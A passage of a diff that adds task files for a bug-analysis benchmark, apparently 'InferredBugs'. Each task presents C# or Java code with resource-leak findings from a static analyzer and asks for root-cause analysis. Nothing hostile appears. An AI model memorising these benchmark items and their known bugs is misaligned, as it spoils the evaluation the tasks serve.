+                            "4444444444",
+                            "5555555555"
+                        }
+                    }), Encoding.UTF8, "application/json")
+        };
+        msg.Headers.Add("X-Forwarded-For", $"000.000.000.{Random.Shared.NextInt64(100, 200)}");
+
+        return FEThrottleClient.SendAsync(msg);
+    }
+
+    [Benchmark]
+    public Task AspNetCoreMVC()
+    {
+        var msg = new HttpRequestMessage()
+        {
+            Method = HttpMethod.Post,
+            RequestUri = new Uri($"{MvcClient.BaseAddress}benchmark/ok/123"),
+            Content = new StringContent(
+                JsonSerializer.Serialize(
+                    new MvcControllers.Request()
+                    {
+                        FirstName = "xxx",
+                        LastName = "yyy",
+                        Age = 23,
+                        PhoneNumbers = new[] {
+                            "1111111111",
+                            "2222222222",
+                            "3333333333",
+                            "4444444444",
+                            "5555555555"
+                        }
+                    }), Encoding.UTF8, "application/json")
+        };
+
+        return MvcClient.SendAsync(msg);
+    }
+
+    [Benchmark]
+    public Task CarterModule()
+    {
+        var msg = new HttpRequestMessage()
+        {
+            Method = HttpMethod.Post,
+            RequestUri = new Uri($"{CarterClient.BaseAddress}benchmark/ok/123"),
+            Content = new StringContent(
+                JsonSerializer.Serialize(
+                    new CarterModules.Request()
+                    {
+                        FirstName = "xxx",
+                        LastName = "yyy",
+                        Age = 23,
+                        PhoneNumbers = new[] {
+                            "1111111111",
+                            "2222222222",
+                            "3333333333",
+                            "4444444444",
+                            "5555555555"
+                        }
+                    }), Encoding.UTF8, "application/json")
+        };
+
+        return CarterClient.SendAsync(msg);
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource msg of type System.Net.Http.HttpRequestMessage, Leaked resource (output of System.Net.Http.StringContent::.ctor() at Line 24) of type System.Net.Http.StringContent in method "Task Benchmarks.MinimalApi()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Task Benchmarks.MinimalApi()
+
+### File:
+Benchmark/Runner/Benchmarks.cs
+
+### Key:
+Benchmarks.cs|MinimalApi|DOTNET_RESOURCE_LEAK
+
+### Hash:
+6a1e07f5f7740d6d185317f44758d029
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0993/instruction.md b/inferredbugs-0993/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5db0f93f1e01017d34c8261964906c80a9e81c13
--- /dev/null
+++ b/inferredbugs-0993/instruction.md
@@ -0,0 +1,399 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Downloader
+**Bug ID:** 26
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using Newtonsoft.Json;
+
+namespace Downloader.Test
+{
+    [TestClass]
+    public class ChunkTest
+    {
+        [TestMethod]
+        public void ClearTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, 1000) { Position = 100, Timeout = 100 };
+            chunk.CanTryAgainOnFailover();
+
+            // act
+            chunk.Clear();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+            Assert.AreEqual(0, chunk.Timeout);
+            Assert.AreEqual(0, chunk.FailoverCount);
+        }
+
+        [TestMethod]
+        public void ClearFileStorageTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, 1000) { Storage = new FileStorage("") };
+            chunk.Storage.WriteAsync(new byte[] { 0x0, 0x1, 0x2, 0x3, 0x4 }, 0, 5).Wait();
+
+            // act
+            chunk.Clear();
+
+            // assert
+            Assert.AreEqual(0, chunk.Storage.GetLength());
+        }
+
+        [TestMethod]
+        public void ClearMemoryStorageTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, 1000) { Storage = new MemoryStorage() };
+            chunk.Storage.WriteAsync(new byte[] { 0x0, 0x1, 0x2, 0x3, 0x4 }, 0, 5).Wait();
+
+            // act
+            chunk.Clear();
+
+            // assert
+            Assert.AreEqual(0, chunk.Storage.GetLength());
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedOnBeginTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) { Storage = (new MemoryStorage()) };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenNoStorageTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = size-1
+            };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenFileStorageNoDataTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) { Position = size - 1, Storage = (new FileStorage("")) };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenMemoryStorageNoDataTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) { Position = size - 1, Storage = (new MemoryStorage()) };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenMemoryStorageDataIsExistTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size - 1) { Position = size - 1, Storage = (new MemoryStorage()) };
+            chunk.Storage.WriteAsync(DummyData.GenerateRandomBytes(size), 0, size).Wait();
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsTrue(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenFileStorageDataIsExistTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size - 1) { Position = size - 1, Storage = (new FileStorage("")) };
+            var dummyData = DummyData.GenerateRandomBytes(size);
+            chunk.Storage.WriteAsync(dummyData, 0, size).Wait();
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsTrue(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithMemoryStorageTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) { Storage = (new MemoryStorage()) };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithFileStorageTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) { Storage = (new FileStorage("")) };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionOnOverflowTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size - 1) {
+                Position = size,
+                Storage = (new MemoryStorage()) // overflowed
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsFalse(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithEqualStorageSizeTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size - 1) { Position = 7, Storage = (new MemoryStorage()) };
+            chunk.Storage.WriteAsync(new byte[] { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7 }, 0, 7);
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithNoEqualStorageSizeTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size - 1) { Position = 10, Storage = (new MemoryStorage()) };
+            chunk.Storage.WriteAsync(new byte[] { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7 }, 0, 10);
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsFalse(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWhenNoStorageAndPositivePositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = 1
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsFalse(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWhenNoStorageAndZeroPositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = 0
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionOnZeroSizeTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, -1) { Position = 0, Storage = (new MemoryStorage()) };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void SetValidPositionOnOverflowTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size - 1) {
+                Position = size,
+                Storage = (new MemoryStorage()) // overflowed
+            };
+
+            // act
+            chunk.SetValidPosition();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+        }
+
+        [TestMethod]
+        public void SetValidPositionWhenNoStorageAndPositivePositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = 1
+            };
+
+            // act
+            chunk.SetValidPosition();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+        }
+
+        [TestMethod]
+        public void SetValidPositionWithStorageAndPositivePositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) { Position = 1, Storage = new MemoryStorage() };
+
+            // act
+            chunk.SetValidPosition();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+        }
+
+        [TestMethod]
+        public void SerializeChunkWhenHasFileStorageTest()
+        {
+            // arrange
+            var settings = new JsonSerializerSettings();
+            settings.Converters.Add(new StorageConverter());
+            var data = DummyData.GenerateOrderedBytes(1024);
+            var chunk = new Chunk(1024, 1024 + data.Length) {
+                Position = 1, 
+                Timeout = 1000,
+                MaxTryAgainOnFailover = 3000,
+                Storage = new FileStorage()
+            };
+
+            // act
+            var serializedChunk = JsonConvert.SerializeObject(chunk);
+            chunk.Storage.Close();
+            var deserializedChunk = JsonConvert.DeserializeObject<Chunk>(serializedChunk, settings);
+
+            // assert
+            Assert.IsNotNull(deserializedChunk);
+            Assert.AreEqual(chunk.Id, deserializedChunk.Id);
+            Assert.AreEqual(chunk.Start, deserializedChunk.Start);
+            Assert.AreEqual(chunk.End, deserializedChunk.End);
+            Assert.AreEqual(chunk.Length, deserializedChunk.Length);
+            Assert.AreEqual(chunk.Position, deserializedChunk.Position);
+            Assert.AreEqual(chunk.Timeout, deserializedChunk.Timeout);
+            Assert.AreEqual(chunk.MaxTryAgainOnFailover, deserializedChunk.MaxTryAgainOnFailover);
+            Assert.AreEqual(chunk.Storage.GetLength(), deserializedChunk.Storage.GetLength());
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Downloader.MemoryStorage::.ctor() at Line 267) of type Downloader.MemoryStorage in method "Void ChunkTest.SetValidPositionOnOverflowTest()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ChunkTest.SetValidPositionOnOverflowTest()
+
+### File:
+src/Downloader.Test/ChunkTest.cs
+
+### Key:
+ChunkTest.cs|SetValidPositionOnOverflowTest|DOTNET_RESOURCE_LEAK
+
+### Hash:
+59fe5e3dc90c1bca9ef90dda4554478a
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0994/instruction.md b/inferredbugs-0994/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9b73d1745fe5c3c56252dfa5d0e17d706b83b4dd
--- /dev/null
+++ b/inferredbugs-0994/instruction.md
@@ -0,0 +1,401 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Downloader
+**Bug ID:** 8
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+
+namespace Downloader.Test
+{
+    [TestClass]
+    public class ChunkTest
+    {
+        [TestMethod]
+        public void ClearTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, 1000) { Position = 100, Timeout = 100 };
+            chunk.CanTryAgainOnFailover();
+
+            // act
+            chunk.Clear();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+            Assert.AreEqual(0, chunk.Timeout);
+            Assert.AreEqual(0, chunk.FailoverCount);
+        }
+
+        [TestMethod]
+        public void ClearFileStorageTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, 1000) {
+                Storage = new FileStorage("")
+            };
+            chunk.Storage.WriteAsync(new byte[] { 0x0, 0x1, 0x2, 0x3, 0x4 }, 0, 5).Wait();
+
+            // act
+            chunk.Clear();
+
+            // assert
+            Assert.AreEqual(0, chunk.Storage.GetLength());
+        }
+
+        [TestMethod]
+        public void ClearMemoryStorageTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, 1000) {
+                Storage = new MemoryStorage()
+            };
+            chunk.Storage.WriteAsync(new byte[] { 0x0, 0x1, 0x2, 0x3, 0x4 }, 0, 5).Wait();
+
+            // act
+            chunk.Clear();
+
+            // assert
+            Assert.AreEqual(0, chunk.Storage.GetLength());
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedOnBeginTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new MemoryStorage()
+            };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenNoStorageTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = size-1
+            };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenFileStorageNoDataTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new FileStorage(""),
+                Position = size-1
+            };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenMemoryStorageNoDataTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new MemoryStorage(),
+                Position = size-1
+            };
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsFalse(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenMemoryStorageDataIsExistTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new MemoryStorage(),
+                Position = size-1
+            };
+            chunk.Storage.WriteAsync(DummyData.GenerateRandomBytes(size), 0, size).Wait();
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsTrue(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsDownloadCompletedWhenFileStorageDataIsExistTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new FileStorage(""),
+                Position = size-1
+            };
+            var dummyData = DummyData.GenerateRandomBytes(size);
+            chunk.Storage.WriteAsync(dummyData, 0, size).Wait();
+
+            // act
+            bool isDownloadCompleted = chunk.IsDownloadCompleted();
+
+            // assert
+            Assert.IsTrue(isDownloadCompleted);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithMemoryStorageTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new MemoryStorage()
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithFileStorageTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new FileStorage("")
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionOnOverflowTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new MemoryStorage(),
+                Position = size // overflowed
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsFalse(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithEqualStorageSizeTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new MemoryStorage(),
+                Position = 7
+            };
+            chunk.Storage.WriteAsync(new byte[] {0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7}, 0, 7);
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWithNoEqualStorageSizeTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new MemoryStorage(),
+                Position = 10
+            };
+            chunk.Storage.WriteAsync(new byte[] { 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7 }, 0, 10);
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsFalse(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWhenNoStorageAndPositivePositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = 1
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsFalse(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionWhenNoStorageAndZeroPositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = 0
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void IsValidPositionOnZeroSizeTest()
+        {
+            // arrange
+            var chunk = new Chunk(0, -1) {
+                Storage = new MemoryStorage(),
+                Position = 0
+            };
+
+            // act
+            bool isValidPosition = chunk.IsValidPosition();
+
+            // assert
+            Assert.IsTrue(isValidPosition);
+        }
+
+        [TestMethod]
+        public void SetValidPositionOnOverflowTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size-1) {
+                Storage = new MemoryStorage(),
+                Position = size // overflowed
+            };
+
+            // act
+            chunk.SetValidPosition();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+        }
+
+        [TestMethod]
+        public void SetValidPositionWhenNoStorageAndPositivePositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Position = 1
+            };
+
+            // act
+            chunk.SetValidPosition();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+        }
+
+        [TestMethod]
+        public void SetValidPositionWithStorageAndPositivePositionTest()
+        {
+            // arrange
+            var size = 1024;
+            var chunk = new Chunk(0, size) {
+                Storage = new MemoryStorage(),
+                Position = 1
+            };
+
+            // act
+            chunk.SetValidPosition();
+
+            // assert
+            Assert.AreEqual(0, chunk.Position);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Downloader.MemoryStorage::.ctor() at Line 330) of type Downloader.MemoryStorage in method "Void ChunkTest.SetValidPositionWithStorageAndPositivePositionTest()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ChunkTest.SetValidPositionWithStorageAndPositivePositionTest()
+
+### File:
+src/Downloader.Test/ChunkTest.cs
+
+### Key:
+ChunkTest.cs|SetValidPositionWithStorageAndPositivePositionTest|DOTNET_RESOURCE_LEAK
+
+### Hash:
+c378896971c3d7038ec0fb5b8a8da66b
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10012/instruction.md b/inferredbugs-10012/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..27e24b9f3a888d646b31c842d3d9d70eec2da735
--- /dev/null
+++ b/inferredbugs-10012/instruction.md
@@ -0,0 +1,852 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 58
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2011-2012 Turn, Inc.
+ * <p>
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * <p>
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * <p>
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.turn.ttorrent.client;
+
+import com.turn.ttorrent.Constants;
+import com.turn.ttorrent.client.announce.*;
+import com.turn.ttorrent.client.network.CountLimitConnectionAllower;
+import com.turn.ttorrent.client.network.OutgoingConnectionListener;
+import com.turn.ttorrent.client.network.StateChannelListener;
+import com.turn.ttorrent.client.peer.PeerActivityListener;
+import com.turn.ttorrent.client.peer.SharingPeer;
+import com.turn.ttorrent.client.storage.FairPieceStorageFactory;
+import com.turn.ttorrent.client.storage.FileCollectionStorage;
+import com.turn.ttorrent.client.storage.PieceStorage;
+import com.turn.ttorrent.client.storage.PieceStorageFactory;
+import com.turn.ttorrent.common.*;
+import com.turn.ttorrent.common.protocol.AnnounceRequestMessage;
+import com.turn.ttorrent.common.protocol.PeerMessage;
+import com.turn.ttorrent.network.*;
+import org.slf4j.Logger;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.URI;
+import java.nio.ByteBuffer;
+import java.nio.channels.ByteChannel;
+import java.util.*;
+import java.util.concurrent.*;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static com.turn.ttorrent.Constants.DEFAULT_SOCKET_CONNECTION_TIMEOUT_MILLIS;
+import static com.turn.ttorrent.common.protocol.AnnounceRequestMessage.RequestEvent.*;
+
+/**
+ * A pure-java BitTorrent client.
+ * <p/>
+ * <p>
+ * A BitTorrent client in its bare essence shares a given torrent. If the
+ * torrent is not complete locally, it will continue to download it. If or
+ * after the torrent is complete, the client may eventually continue to seed it
+ * for other clients.
+ * </p>
+ * <p/>
+ * <p>
+ * This BitTorrent client implementation is made to be simple to embed and
+ * simple to use. First, initialize a ShareTorrent object from a torrent
+ * meta-info source (either a file or a byte array, see
+ * com.turn.ttorrent.SharedTorrent for how to create a SharedTorrent object).
+ * </p>
+ *
+ * @author mpetazzoni
+ */
+public class CommunicationManager implements AnnounceResponseListener, PeerActivityListener, Context, ConnectionManagerContext {
+
+  protected static final Logger logger = TorrentLoggerFactory.getLogger();
+
+  public static final String BITTORRENT_ID_PREFIX = "-TO0042-";
+
+  private AtomicBoolean stop = new AtomicBoolean(false);
+
+  private Announce announce;
+
+  private volatile boolean myStarted = false;
+  private final TorrentLoader myTorrentLoader;
+  private final TorrentsStorage torrentsStorage;
+  private final CountLimitConnectionAllower myInConnectionAllower;
+  private final CountLimitConnectionAllower myOutConnectionAllower;
+  private final AtomicInteger mySendBufferSize;
+  private final AtomicInteger myReceiveBufferSize;
+  private final PeersStorage peersStorage;
+  private volatile ConnectionManager myConnectionManager;
+  private final ExecutorService myExecutorService;
+  private final ExecutorService myPieceValidatorExecutor;
+
+  /**
+   * @param workingExecutor        executor service for run connection worker and process incoming data. Must have a pool size at least 2
+   * @param pieceValidatorExecutor executor service for calculation sha1 hashes of downloaded pieces
+   */
+  public CommunicationManager(ExecutorService workingExecutor, ExecutorService pieceValidatorExecutor) {
+    this(workingExecutor, pieceValidatorExecutor, new TrackerClientFactoryImpl());
+  }
+
+  /**
+   * @param workingExecutor        executor service for run connection worker and process incoming data. Must have a pool size at least 2
+   * @param pieceValidatorExecutor executor service for calculation sha1 hashes of downloaded pieces
+   * @param trackerClientFactory   factory which creates instances for communication with tracker
+   */
+  public CommunicationManager(ExecutorService workingExecutor, ExecutorService pieceValidatorExecutor, TrackerClientFactory trackerClientFactory) {
+    this.announce = new Announce(this, trackerClientFactory);
+    this.torrentsStorage = new TorrentsStorage();
+    this.peersStorage = new PeersStorage();
+    this.mySendBufferSize = new AtomicInteger();
+    this.myTorrentLoader = new TorrentLoaderImpl(this.torrentsStorage);
+    this.myReceiveBufferSize = new AtomicInteger();
+    this.myInConnectionAllower = new CountLimitConnectionAllower(peersStorage);
+    this.myOutConnectionAllower = new CountLimitConnectionAllower(peersStorage);
+    this.myExecutorService = workingExecutor;
+    myPieceValidatorExecutor = pieceValidatorExecutor;
+  }
+
+  /**
+   * Adds torrent to storage, validate downloaded files and start seeding and leeching the torrent
+   *
+   * @param dotTorrentFilePath path to torrent metadata file
+   * @param downloadDirPath    path to directory where downloaded files are placed
+   * @return {@link TorrentManager} instance for monitoring torrent state
+   * @throws IOException if IO error occurs in reading metadata file
+   */
+  public TorrentManager addTorrent(String dotTorrentFilePath, String downloadDirPath) throws IOException {
+    return addTorrent(dotTorrentFilePath, downloadDirPath, FairPieceStorageFactory.INSTANCE);
+  }
+
+  /**
+   * Adds torrent to storage with specified {@link PieceStorageFactory}.
+   * It can be used for skipping initial validation of data
+   *
+   * @param dotTorrentFilePath path to torrent metadata file
+   * @param downloadDirPath    path to directory where downloaded files are placed
+   * @param pieceStorageFactory factory for creating {@link PieceStorage}.
+   * @return {@link TorrentManager} instance for monitoring torrent state
+   * @throws IOException if IO error occurs in reading metadata file
+   */
+  public TorrentManager addTorrent(String dotTorrentFilePath,
+                                   String downloadDirPath,
+                                   PieceStorageFactory pieceStorageFactory) throws IOException {
+    FileMetadataProvider metadataProvider = new FileMetadataProvider(dotTorrentFilePath);
+    TorrentMetadata metadata = metadataProvider.getTorrentMetadata();
+    FileCollectionStorage fileCollectionStorage = FileCollectionStorage.create(metadata, new File(downloadDirPath));
+    PieceStorage pieceStorage = pieceStorageFactory.createStorage(metadata, fileCollectionStorage);
+    return addTorrent(metadataProvider, pieceStorage);
+  }
+
+  /**
+   * Adds torrent to storage with any storage and metadata source
+   *
+   * @param metadataProvider specified metadata source
+   * @param pieceStorage     specified storage of pieces
+   * @return {@link TorrentManager} instance for monitoring torrent state
+   * @throws IOException if IO error occurs in reading metadata file
+   */
+  public TorrentManager addTorrent(TorrentMetadataProvider metadataProvider, PieceStorage pieceStorage) throws IOException {
+    CopyOnWriteArrayList<TorrentListener> listeners = new CopyOnWriteArrayList<TorrentListener>();
+    final LoadedTorrentImpl loadedTorrent = new LoadedTorrentImpl(
+            new TorrentStatistic(),
+            metadataProvider,
+            pieceStorage,
+            new EventDispatcher(listeners));
+
+    if (pieceStorage.isFinished()) {
+      loadedTorrent.getTorrentStatistic().setLeft(0);
+    } else {
+      long size = 0;
+      for (TorrentFile torrentFile : loadedTorrent.getMetadata().getFiles()) {
+        size += torrentFile.size;
+      }
+      loadedTorrent.getTorrentStatistic().setLeft(size);
+    }
+
+    this.torrentsStorage.addTorrent(loadedTorrent.getTorrentHash().getHexInfoHash(), loadedTorrent);
